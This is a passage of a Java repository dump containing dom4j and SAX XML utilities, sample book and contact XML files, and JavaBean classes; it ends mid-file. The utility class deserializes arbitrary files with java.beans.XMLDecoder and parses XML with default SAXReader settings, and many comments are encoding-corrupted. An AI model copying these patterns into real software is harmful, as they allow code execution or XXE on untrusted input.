<column  name=\"其他调整项2\"    columnIndex=\"9\"  fieldCode=\"QTTZX2\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"培训表现加分\"    columnIndex=\"10\"  fieldCode=\"PXBX_ADD\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"规范化服务\"    columnIndex=\"11\"  fieldCode=\"GFHFW_ADD\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"交叉持证资格\"    columnIndex=\"12\"  fieldCode=\"JCCZZG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其他项目加分\"    columnIndex=\"13\"  fieldCode=\"QTXM\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n       <column  name=\"贷后管理工作\"    columnIndex=\"14\"  fieldCode=\"DHGLGZ\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"培训表现扣分\"    columnIndex=\"15\"  fieldCode=\"PXBX_CUT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"规范化服务扣分\"    columnIndex=\"16\"  fieldCode=\"GFHFW_CUT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"信贷从业资格/银行从业资格扣分\"    columnIndex=\"17\"  fieldCode=\"XDCYZG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n\n\t\n     \n</root>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/XMLUtil.java",
    "content": "package com.jun.plugin.xml;\n\n\nimport java.beans.XMLDecoder;\nimport java.beans.XMLEncoder;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.io.OutputFormat;\nimport org.dom4j.io.SAXReader;\nimport org.dom4j.io.XMLWriter;\n\n\n/**\n * xml的工具类\n * @author APPle\n *\n */\npublic class XMLUtil {\n\t\n\n\t/*public static void main(String[] args) {\n\t\tXMLFactory sdFactory = new XMLFactory(BackupScheduleConfig.class);\n\t\t// String xmlText=sdFactory.marshal(new BackupScheduleConfig(1, 1, 1, \"Y\"));\n\t\ttry {\n\t\t\tBackupScheduleConfig sd = sdFactory.unmarshal(new FileInputStream(new File(\"D:\\\\sale.xml\")));\n\t\t\tSystem.out.println(sd.getScheduleEnabled());\n\t\t} catch (FileNotFoundException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}*/\n\n\tpublic void stringXMLToFile1(String filePath, String content) {\n\t\ttry {\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"UTF-8\");\n\t\t\tXMLWriter xmlWriter = new XMLWriter(new FileOutputStream(filePath), format);\n\t\t\tDocument doc = DocumentHelper.parseText(content);\n\t\t\txmlWriter.write(doc);\n\t\t\txmlWriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\n\tprivate static String filePath4 = XMLUtil.class.getClassLoader().getResource(\"users.xml\").getFile();\n\t\n\t//���ش��xml �ļ��� document ����\n\tpublic static Document getDocument44() {\n\t\t\n\t\tSAXReader reader = new SAXReader();\n\t\t\n\t\tSystem.out.println(filePath);\n\t\ttry {\n\t\t\treturn reader.read(filePath);\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\treturn null;\n\t\t}\n\t\t\n\t}\n\n\t//���ڴ��е�document ����д�ص� xml �ļ���ȥ \n\tpublic static void writeBack2Xml44(Document document) {\n\t\t\n\t\ttry {\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"UTF-8\");\n\t\t\t\n\t\t\t\n\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(filePath), format);\n\t\t\twriter.write(document);\n\t\t\twriter.close();\n\t\t\t\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t\t\n\t}\n\t\n\t\n\t/**\n\t * 读取xml文档方法\n\t * @return\n\t */\n\tpublic static Document getDocument(){\n\t\ttry {\n\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n\t\t\treturn doc;\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\n\t/**\n\t * 写出到xml文档中\n\t */\n\tpublic static void write2xml(Document doc){\n\t\ttry {\n\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"utf-8\");\n\t\t\tXMLWriter writer = new XMLWriter(out,format);\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n\n\tpublic static String path;\n\t\n\t/**\n\t * 获得document对象\n\t * @return\n\t */\n\tpublic static Document getDocument2() throws Exception{\n\t\t//创建流\n\t\tSAXReader reader = new SAXReader();\n\t\t//解析\n\t\treturn reader.read(path);\n\t}\n\t\n\t/**\n\t * 保存document对象\n\t * @param docuemnt\n\t */\n\tpublic static void saveDocument(Document document) throws Exception{\n\t\t//获得流\n\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(path));\n\t\twriter.write(document);\n\t\twriter.close();\n\t}\n\n\tpublic static void setPath(String path1) {\n\t\tpath = path1;\n\t}\n\t\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n\t\n\n\t/**\n\t * 读取xml文档方法\n\t * @return\n\t */\n\tpublic static Document getDocument33(){\n\t\ttry {\n\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n\t\t\treturn doc;\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\n\t/**\n\t * 写出到xml文档中\n\t */\n\tpublic static void write2xml33(Document doc){\n\t\ttry {\n\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"utf-8\");\n\t\t\tXMLWriter writer = new XMLWriter(out,format);\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\n\n\tprivate static String filePath = XMLUtil.class.getClassLoader().getResource(\"users.xml\").getFile();\n\t\n\t//���ش��xml �ļ��� document ����\n\tpublic static Document getDocument1() {\n\t\t\n\t\tSAXReader reader = new SAXReader();\n\t\t\n\t\tSystem.out.println(filePath);\n\t\ttry {\n\t\t\treturn reader.read(filePath);\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\treturn null;\n\t\t}\n\t\t\n\t}\n\n\t//���ڴ��е�document ����д�ص� xml �ļ���ȥ \n\tpublic static void writeBack2Xml(Document document) {\n\t\t\n\t\ttry {\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"UTF-8\");\n\t\t\t\n\t\t\t\n\t\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(filePath), format);\n\t\t\twriter.write(document);\n\t\t\twriter.close();\n\t\t\t\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t\t\n\t}\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\n//\tprivate static String path;\n\t\n\t/**\n\t * 获得document对象\n\t * @return\n\t */\n\tpublic static Document getDocument233() throws Exception{\n\t\t//创建流\n\t\tSAXReader reader = new SAXReader();\n\t\t//解析\n\t\treturn reader.read(path);\n\t}\n\t\n\t/**\n\t * 保存document对象\n\t * @param docuemnt\n\t */\n\tpublic static void saveDocument33(Document document) throws Exception{\n\t\t//获得流\n\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(path));\n\t\twriter.write(document);\n\t\twriter.close();\n\t}\n\n\tpublic static void setPath33(String path3) {\n\t\tpath = path3;\n\t}\n\t\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t/**\n\t * 获得document对象\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static Document getDocument3() throws Exception{\n\t\t\n\t\t//获得解析流\n\t\tSAXReader reader = new SAXReader();\n\t\t\n\t\treturn reader.read(\"books.xml\");\n\t}\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t\n\n\t//�����ļ���������\n\tprivate static File file = null;\n\t\n\t//����ļ������ڣ���Ҫ�����ļ����������Ӧ�ĸ�Ԫ��\n\tstatic{\n\t\tfile = new File(\"books.xml\");\n\t\tif(!file.exists()){ //����ļ�������\n\t\t\ttry {\n\t\t\t\t//�����ļ�\n\t\t\t\tfile.createNewFile();\n\t\t\t\t\n\t\t\t\t/*��ɸ�Ԫ��books*/\n\t\t\t\t//����һ���µ��ĵ�\n\t\t\t\tDocument document = DocumentHelper.createDocument();\n\t\t\t\t//��Ӹ�Ԫ��\n\t\t\t\tdocument.addElement(\"books\");\n\t\t\t\t//����\n\t\t\t\tsaveXml(document);\n\t\t\t\t\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\t}\n\t}\n\t/**\n\t * ���document����\n\t * @return\n\t * @throws Exception \n\t */\n\tpublic static Document getDocument4() throws Exception{\n\t\t//��ý�����\n\t\tSAXReader reader = new SAXReader();\n\t\t//����ָ����xml�ļ�\n\t\treturn reader.read(file);\n\t}\n\n\t/**\n\t * �������\n\t * @param document\n\t * @throws Exception \n\t */\n\tpublic static void saveXml(Document document) throws Exception {\n\t\t\n\t\t//��ʽ��\n\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t//�������� --��ȷ������ļ�λ��\n\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(file),format);\n\t\t//��documentд�뵽ָ���ļ�\n\t\twriter.write(document);\n\t\t//�ر���\n\t\twriter.close();\n\t}\n\n\t\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t\n \n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\n\t/**\n\t * ���ڶ�ȡxml�ļ�\n\t * @return\n\t */\n\tpublic static Document getDocument55(){\n\t\ttry {\n\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n\t\t\treturn doc;\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\n\t/**\n\t * д��xml�ļ�\n\t */\n\tpublic static void write2xml55(Document doc){\n\t\ttry {\n\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"utf-8\");\n\t\t\tXMLWriter writer = new XMLWriter(out,format);\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\n\t/**\n\t * ��java�Ŀ����л��Ķ���(ʵ��Serializable�ӿ�)���л����浽XML�ļ�����,�����һ�α����������л��������ü��Ͻ��з�װ ����ʱ���������ڵĶ���ԭ����XML�ļ�����\n\t * \n\t * @param obj\n\t *            Ҫ���л��Ŀ����л��Ķ���\n\t * @param fileName\n\t *            ����ȫ�ı���·�����ļ���\n\t * @throws FileNotFoundException\n\t *             ָ��λ�õ��ļ�������\n\t * @throws IOException\n\t *             ���ʱ�����쳣\n\t * @throws Exception\n\t *             ��������ʱ�쳣\n\t */\n\tpublic static void objectXmlEncoder(Object obj, String fileName) throws FileNotFoundException, IOException, Exception {\n\t\t// ��������ļ�\n\t\tFile fo = new File(fileName);\n\t\t// �ļ�������,�ʹ������ļ�\n\t\tif (!fo.exists()) {\n\t\t\t// �ȴ����ļ���Ŀ¼\n\t\t\tString path = fileName.substring(0, fileName.lastIndexOf('.'));\n\t\t\tFile pFile = new File(path);\n\t\t\tpFile.mkdirs();\n\t\t}\n\t\t// �����ļ������\n\t\tFileOutputStream fos = new FileOutputStream(fo);\n\t\t// ����XML�ļ����������ʵ��\n\t\tXMLEncoder encoder = new XMLEncoder(fos);\n\t\t// �������л������XML�ļ�\n\t\tencoder.writeObject(obj);\n\t\tencoder.flush();\n\t\t// �ر����л�����\n\t\tencoder.close();\n\t\t// �ر������\n\t\tfos.close();\n\t}\n\n\t/**\n\t * ��ȡ��objSourceָ����XML�ļ��е����л�����Ķ���,���صĽ�����List��װ\n\t * \n\t * @param objSource\n\t *            ��ȫ���ļ�·�����ļ�ȫ��\n\t * @return ��XML�ļ����汣��Ķ��󹹳ɵ�List�б�(������һ�����߶�������л�����Ķ���)\n\t * @throws FileNotFoundException\n\t *             ָ���Ķ����ȡ��Դ������\n\t * @throws IOException\n\t *             ��ȡ�������\n\t * @throws Exception\n\t *             ��������ʱ�쳣����\n\t */\n\tpublic static List objectXmlDecoder(String objSource) throws FileNotFoundException, IOException, Exception {\n\t\tList objList = new ArrayList();\n\t\tFile fin = new File(objSource);\n\t\tFileInputStream fis = new FileInputStream(fin);\n\t\tXMLDecoder decoder = new XMLDecoder(fis);\n\t\tObject obj = null;\n\t\ttry {\n\t\t\twhile ((obj = decoder.readObject()) != null) {\n\t\t\t\tobjList.add(obj);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t}\n\t\tfis.close();\n\t\tdecoder.close();\n\t\treturn objList;\n\t}\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t\n\n\tpublic static boolean isNotNull(String param)\n\t{\n\t\tboolean ret = true;\n\t\tif(null==param)\n\t\t\tret = false;\n\t\telse if(param.trim().length()==0)\n\t\t{\n\t\t\tret = false;\n\t\t}\n\t\treturn ret;\n\t}\n\tpublic static boolean isNotNull(Integer param)\n\t{\n\t\tboolean ret = true;\n\t\tif(null==param)\n\t\t\tret = false;\n\t\telse if(param==0)\n\t\t{\n\t\t\tret = false;\n\t\t}\n\t\treturn ret;\n\t}\n\tpublic static boolean isNotNull(Long param)\n\t{\n\t\tboolean ret = true;\n\t\tif(null==param)\n\t\t\tret = false;\n\t\telse if(param==0)\n\t\t{\n\t\t\tret = false;\n\t\t}\n\t\treturn ret;\n\t}\n\t/**\n\t * @description 去掉末尾的0\n\t * @param strDate\n\t * @return\n\t */\n\tpublic static String formatDateStr(String strDate)\n\t{\n\t\tString ret = strDate;\n\t\tif(strDate!=null)\n\t\t{\n\t\t\tret = strDate.replaceAll(\" 00:00:00.0\", \"\");\n\t\t}\n\t\treturn ret;\n\t}\n\t\n\t\n\t\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\t/*******************************************************************************************/\n\n\t/**\n\t * ���ڶ�ȡxml�ļ�\n\t * @return\n\t */\n\tpublic static Document getDocument66(){\n\t\ttry {\n\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n\t\t\treturn doc;\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\n\t/**\n\t * д��xml�ļ�\n\t */\n\tpublic static void write2xml66(Document doc){\n\t\ttry {\n\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"utf-8\");\n\t\t\tXMLWriter writer = new XMLWriter(out,format);\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n\n\t/**\n\t * 获得document对象\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static Document getDocument22() throws Exception{\n\t\t\n\t\t//获得解析流\n\t\tSAXReader reader = new SAXReader();\n\t\t\n\t\treturn reader.read(\"books.xml\");\n\t}\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n\n\t//�����ļ���������\n\tprivate static File file44 = null;\n\t\n\t//����ļ������ڣ���Ҫ�����ļ����������Ӧ�ĸ�Ԫ��\n\tstatic{\n\t\tfile = new File(\"books.xml\");\n\t\tif(!file.exists()){ //����ļ�������\n\t\t\ttry {\n\t\t\t\t//�����ļ�\n\t\t\t\tfile.createNewFile();\n\t\t\t\t\n\t\t\t\t/*��ɸ�Ԫ��books*/\n\t\t\t\t//����һ���µ��ĵ�\n\t\t\t\tDocument document = DocumentHelper.createDocument();\n\t\t\t\t//��Ӹ�Ԫ��\n\t\t\t\tdocument.addElement(\"books\");\n\t\t\t\t//����\n\t\t\t\tsaveXml(document);\n\t\t\t\t\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\t}\n\t}\n\t/**\n\t * ���document����\n\t * @return\n\t * @throws Exception \n\t */\n\tpublic static Document getDocument441() throws Exception{\n\t\t//��ý�����\n\t\tSAXReader reader = new SAXReader();\n\t\t//����ָ����xml�ļ�\n\t\treturn reader.read(file);\n\t}\n\n\t/**\n\t * �������\n\t * @param document\n\t * @throws Exception \n\t */\n\tpublic static void saveXml44(Document document) throws Exception {\n\t\t\n\t\t//��ʽ��\n\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t//�������� --��ȷ������ļ�λ��\n\t\tXMLWriter writer = new XMLWriter(new FileOutputStream(file),format);\n\t\t//��documentд�뵽ָ���ļ�\n\t\twriter.write(document);\n\t\t//�ر���\n\t\twriter.close();\n\t}\n\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n\t\n\n\t\n\t/**\n\t * 读取xml文档方法\n\t * @return\n\t */\n\tpublic static Document getDocument551(){\n\t\ttry {\n\t\t\tDocument doc = new SAXReader().read(new File(\"e:/contact.xml\"));\n\t\t\treturn doc;\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\n\t/**\n\t * 写出到xml文档中\n\t */\n\tpublic static void write2xml551(Document doc){\n\t\ttry {\n\t\t\tFileOutputStream out = new FileOutputStream(\"e:/contact.xml\");\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"utf-8\");\n\t\t\tXMLWriter writer = new XMLWriter(out,format);\n\t\t\twriter.write(doc);\n\t\t\twriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\t//************************************************************************************\n\t//************************************************************************************\n\t//************************************************************************************\n \n\n\tpublic void stringXMLToFile(String filePath, String content) {\n\t\ttry {\n\t\t\tOutputFormat format = OutputFormat.createPrettyPrint();\n\t\t\tformat.setEncoding(\"UTF-8\");\n\t\t\tXMLWriter xmlWriter = new XMLWriter(new FileOutputStream(filePath), format);\n\t\t\tDocument doc = DocumentHelper.parseText(content);\n\t\t\txmlWriter.write(doc);\n\t\t\txmlWriter.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/books.dom4j.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<books>\n\t<book id=\"b001\">\n\t\t<title>Java 核心技术</title>\n\t \t<price>98000</price>\n\t</book>\n\t<book id=\"b002\">\n\t\t<title>Thinking in Java</title>\n\t \t<price>22000</price>\n\t</book>\n<book id=\"0001\"><title>aaaaaaaaa</title><name>abc</name></book> </books>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/books.jasp.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?><books>\n\t<book id=\"b001\">\n\t\t<title>Java 核心技术</title>\n\t \t<price>98000</price>\n\t</book>\n\t<book id=\"b002\">\n\t\t<title>Thinking in Java</title>\n\t \t<price>22000</price>\n\t</book>\n<book id=\"b003\"><title>凤姐写真</title></book></books>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/books.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<books>\n\t<book id=\"b001\">\n\t\t<title>Java 核心技术</title>\n\t \t<price>98000</price>\n\t</book>\n\t<book id=\"b002\">\n\t\t<title>Thinking in Java</title>\n\t \t<price>22000</price>\n\t</book>\n</books>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/contact.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<contactList> \n  <contact name=\"eric\"> \n    <name>����</name> \n  </contact> \n</contactList>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/domain/Book.java",
    "content": "package com.jun.plugin.xml.domain;\n\n/**\n * 自定义对象 --JavaBean\n * * 需要有一组特殊的方法：getXxx 和 setXxx\n * * 必须存在默认的构造方法\n * \n * alt + shift + s\n */\npublic class Book {\n\t\n\tprivate String id;\n\tprivate String title;\n\tprivate String price;\n\t\n\tpublic String getId(){\n\t\treturn this.id;\n\t}\n\n\tpublic void setId(String id){\n\t\tthis.id = id;\n\t}\n\n\t\n\n\tpublic String getTitle() {\n\t\treturn title;\n\t}\n\n\tpublic void setTitle(String title) {\n\t\tthis.title = title;\n\t}\n\n\tpublic String getPrice() {\n\t\treturn price;\n\t}\n\n\tpublic void setPrice(String price) {\n\t\tthis.price = price;\n\t}\n\n\tpublic Book() {\n\t}\n\n\tpublic Book(String id, String title, String price) {\n\t\tthis.id = id;\n\t\tthis.title = title;\n\t\tthis.price = price;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"Book [id=\" + id + \", price=\" + price + \", title=\" + title + \"]\";\n\t}\n\t\n\t\n\t\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/readxml/bean/Book.java",
    "content": "package com.jun.plugin.xml.readxml.bean;\n\n/**\n * \n * @author lune\n */\npublic class Book {\n\tprivate int id;\n\tprivate String name;\n\tprivate String author;\n\tprivate int year;\n\tprivate double price;\n\t\n\t/**\n\t * @return the id\n\t */\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\t/**\n\t * @param id the id to set\n\t */\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\t/**\n\t * @return the name\n\t */\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\t/**\n\t * @param name the name to set\n\t */\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\t/**\n\t * @return the author\n\t */\n\tpublic String getAuthor() {\n\t\treturn author;\n\t}\n\t/**\n\t * @param author the author to set\n\t */\n\tpublic void setAuthor(String author) {\n\t\tthis.author = author;\n\t}\n\t/**\n\t * @return the year\n\t */\n\tpublic int getYear() {\n\t\treturn year;\n\t}\n\t/**\n\t * @param year the year to set\n\t */\n\tpublic void setYear(int year) {\n\t\tthis.year = year;\n\t}\n\t/**\n\t * @return the price\n\t */\n\tpublic double getPrice() {\n\t\treturn price;\n\t}\n\t/**\n\t * @param price the price to set\n\t */\n\tpublic void setPrice(double price) {\n\t\tthis.price = price;\n\t}\n\t/* (non-Javadoc)\n\t * @see java.lang.Object#toString()\n\t */\n\t@Override\n\tpublic String toString() {\n\t\treturn \"Book [id=\" + id + \", name=\" + name + \", author=\" + author + \", year=\" + year + \", price=\" + price + \"]\";\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/readxml/handler/SAXParseHandler.java",
    "content": "package com.jun.plugin.xml.readxml.handler;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.xml.sax.Attributes;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.helpers.DefaultHandler;\n\nimport com.jun.plugin.xml.readxml.bean.Book;\n\n/**\n * 用SAX解析xml文件时需要的handler\n * @author lune\n */\npublic class SAXParseHandler extends DefaultHandler {\n\tprivate List<Book> list;         //存放解析到的book数组\n\tprivate Book book;               //存放当前解析的book\n\t\n\tprivate String content = null;   //存放当前节点值\n\t\n\t\n\t\n\t/**\n\t * 开始解析xml文档时调用此方法\n\t */\n\t@Override\n\tpublic void startDocument() throws SAXException {\n\t\t\n\t\tsuper.startDocument();\n\t\tSystem.out.println(\"开始解析xml文件\");\n\t\tlist = new ArrayList<Book>();\n\t}\n\n\n\n\t/** \n\t * 文档解析完成后调用此方法\n\t */\n\t@Override\n\tpublic void endDocument() throws SAXException {\n\t\t\n\t\tsuper.endDocument();\n\t\tSystem.out.println(\"xml文件解析完毕\");\n\t}\n\n\n\n\t/**\n\t * 开始解析节点时调用此方法\n\t */\n\t@Override\n\tpublic void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {\n\t\t\n\t\tsuper.startElement(uri, localName, qName, attributes);\n\t\t\n\t\t//当节点名为book时,获取book的属性id\n\t\tif(qName.equals(\"book\")){\n\t\t\tbook = new Book();\n\t\t\tString id = attributes.getValue(\"id\");//System.out.println(\"id值为\"+id);\n\t\t\tbook.setId(Integer.parseInt(id));\n\t\t}\n\t\t\n\t}\n\n\n\n\t/**\n\t *节点解析完毕时调用此方法\n\t *\n\t *@param qName 节点名\n\t */\n\t@Override\n\tpublic void endElement(String uri, String localName, String qName) throws SAXException {\n\t\t\n\t\tsuper.endElement(uri, localName, qName);\n\t\tif(qName.equals(\"name\")){\n\t\t\tbook.setName(content);\n\t\t\t//System.out.println(\"书名\"+content);\n\t\t}else if(qName.equals(\"author\")){\n\t\t\tbook.setAuthor(content);\n\t\t//\tSystem.out.println(\"作者\"+content);\n\t\t}else if(qName.equals(\"year\")){\n\t\t\tbook.setYear(Integer.parseInt(content));\n\t\t//\tSystem.out.println(\"年份\"+content);\n\t\t}else if(qName.equals(\"price\")){\n\t\t\tbook.setPrice(Double.parseDouble(content));\n\t\t//\tSystem.out.println(\"价格\"+content);\n\t\t}else if(qName.equals(\"book\")){\t\t\t//当结束当前book解析时,将该book添加到数组后置为空，方便下一次book赋值\n\t\t\tlist.add(book);\n\t\t\tbook = null;\n\t\t}\t\n\t\t\n\t}\n\n\n\n\t/** \n\t * 此方法用来获取节点的值\n\t */\n\t@Override\n\tpublic void characters(char[] ch, int start, int length) throws SAXException {\n\t\t\n\t\tsuper.characters(ch, start, length);\n\t\t\n\t\tcontent = new String(ch, start, length);\n\t\t//收集不为空白的节点值\n//\t\tif(!content.trim().equals(\"\")){\n//\t\t\tSystem.out.println(\"节点值为：\"+content);\n//\t\t}\n\t\t\n\t}\n\n\tpublic List<Book> getBooks(){\n\t\treturn list;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/readxml/readxmlUtils/ReadXMLByDom4j.java",
    "content": "package com.jun.plugin.xml.readxml.readxmlUtils;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport org.dom4j.Attribute;\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.Element;\nimport org.dom4j.io.SAXReader;\n\nimport com.jun.plugin.xml.readxml.bean.Book;\n\n/**\n * 用DOM4J方法读取xml文件\n * @author lune\n */\npublic class ReadXMLByDom4j {\n\t\n\tprivate List<Book> bookList = null;\n\tprivate Book book = null;\n\t\n\tpublic List<Book> getBooks(File file){\n\t\t\n\t\tSAXReader reader = new SAXReader();\n\t\ttry {\n\t\t\tDocument document = reader.read(file);\n\t\t\tElement bookstore = document.getRootElement();\n\t\t\tIterator storeit = bookstore.elementIterator();\n\t\t\t\n\t\t\tbookList = new ArrayList<Book>();\n\t\t\twhile(storeit.hasNext()){\n\t\t\t\t\n\t\t\t\tbook = new Book();\n\t\t\t\tElement bookElement = (Element) storeit.next();\n\t\t\t\t//遍历bookElement的属性\n\t\t\t\tList<Attribute> attributes = bookElement.attributes();\n\t\t\t\tfor(Attribute attribute : attributes){\n\t\t\t\t\tif(attribute.getName().equals(\"id\")){\n\t\t\t\t\t\tString id = attribute.getValue();//System.out.println(id);\n\t\t\t\t\t\tbook.setId(Integer.parseInt(id));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tIterator bookit = bookElement.elementIterator();\n\t\t\t\twhile(bookit.hasNext()){\n\t\t\t\t\tElement child = (Element) bookit.next();\n\t\t\t\t\tString nodeName = child.getName();\n\t\t\t\t\tif(nodeName.equals(\"name\")){\n\t\t\t\t\t\t//System.out.println(child.getStringValue());\n\t\t\t\t\t\tString name = 